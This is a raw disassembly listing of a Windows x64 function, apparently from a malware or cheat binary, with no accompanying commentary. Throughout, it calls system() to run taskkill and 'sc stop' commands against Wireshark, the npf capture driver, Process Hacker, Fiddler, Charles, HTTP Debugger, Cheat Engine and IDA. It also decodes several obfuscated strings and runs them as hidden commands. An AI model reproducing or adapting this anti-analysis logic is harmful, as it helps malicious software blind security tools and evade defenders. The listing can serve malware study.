call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x478], xmm0
mov dword [rbp + 0x488], 0x809e84d7
mov dword [rbp + 0x48c], 0xd6d1dccd
mov word [rbp + 0x490], Ordinal_200
mov byte [rbp + 0x492], 1
lea rcx, [rbp + 0x478]
call fcn.14005a930
lea rcx, [rbp + 0x478]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0x10b8], xmm0
mov dword [rbp + 0x10c8], 0xde998f9f
mov dword [rbp + 0x10cc], 0x8581d0cd
mov dword [rbp + 0x10d0], 0xcac1d29d
mov dword [rbp + 0x10d4], 0x100c7d3
lea rcx, [rbp + 0x10b8]
call fcn.14005a900
lea rcx, [rbp + 0x10b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1fd8], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1fe8], xmm1
mov word [rbp + 0x1ff8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1ffa], 1
lea rcx, [rbp + 0x1fd8]
call fcn.14005a8d0
lea rcx, [rbp + 0x1fd8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x2000], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x2010], xmm1
mov word [rbp + 0x2020], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x2022], 1
lea rcx, [rbp + 0x2000]
call fcn.14005a8d0
lea rcx, [rbp + 0x2000]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x2028], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x2038], xmm1
mov word [rbp + 0x2048], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x204a], 1
lea rcx, [rbp + 0x2028]
call fcn.14005a8d0
lea rcx, [rbp + 0x2028]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x2050], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x2060], xmm1
mov word [rbp + 0x2070], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x2072], 1
lea rcx, [rbp + 0x2050]
call fcn.14005a8d0
lea rcx, [rbp + 0x2050]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x798], xmm0
mov dword [rbp + 0x7a8], 0x82d5ca82
mov dword [rbp + 0x7ac], 0xc2cf8298
mov dword [rbp + 0x7b0], 0xc2d4cf
mov byte [rbp + 0x7b4], 1
lea rcx, [rbp + 0x798]
call fcn.14005a8a0
lea rcx, [rbp + 0x798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0x160], xmm0
mov dword [rbp + 0x170], 0xcad5d8c9
mov word [rbp + 0x174], 0xdc
mov byte [rbp + 0x176], 1
lea rcx, [rbp + 0x160]
call fcn.14005a870
lea rcx, [rbp + 0x160]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0xab8], xmm0
mov dword [rbp + 0xac8], 0xcc8e8480
mov dword [rbp + 0xacc], 0x9c9a80d3
mov dword [rbp + 0xad0], 0xd2cdc0d1
mov word [rbp + 0xad4], Ordinal_200
mov byte [rbp + 0xad6], 1
lea rcx, [rbp + 0xab8]
call fcn.14005a840
lea rcx, [rbp + 0xab8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x2180
pop rbp
ret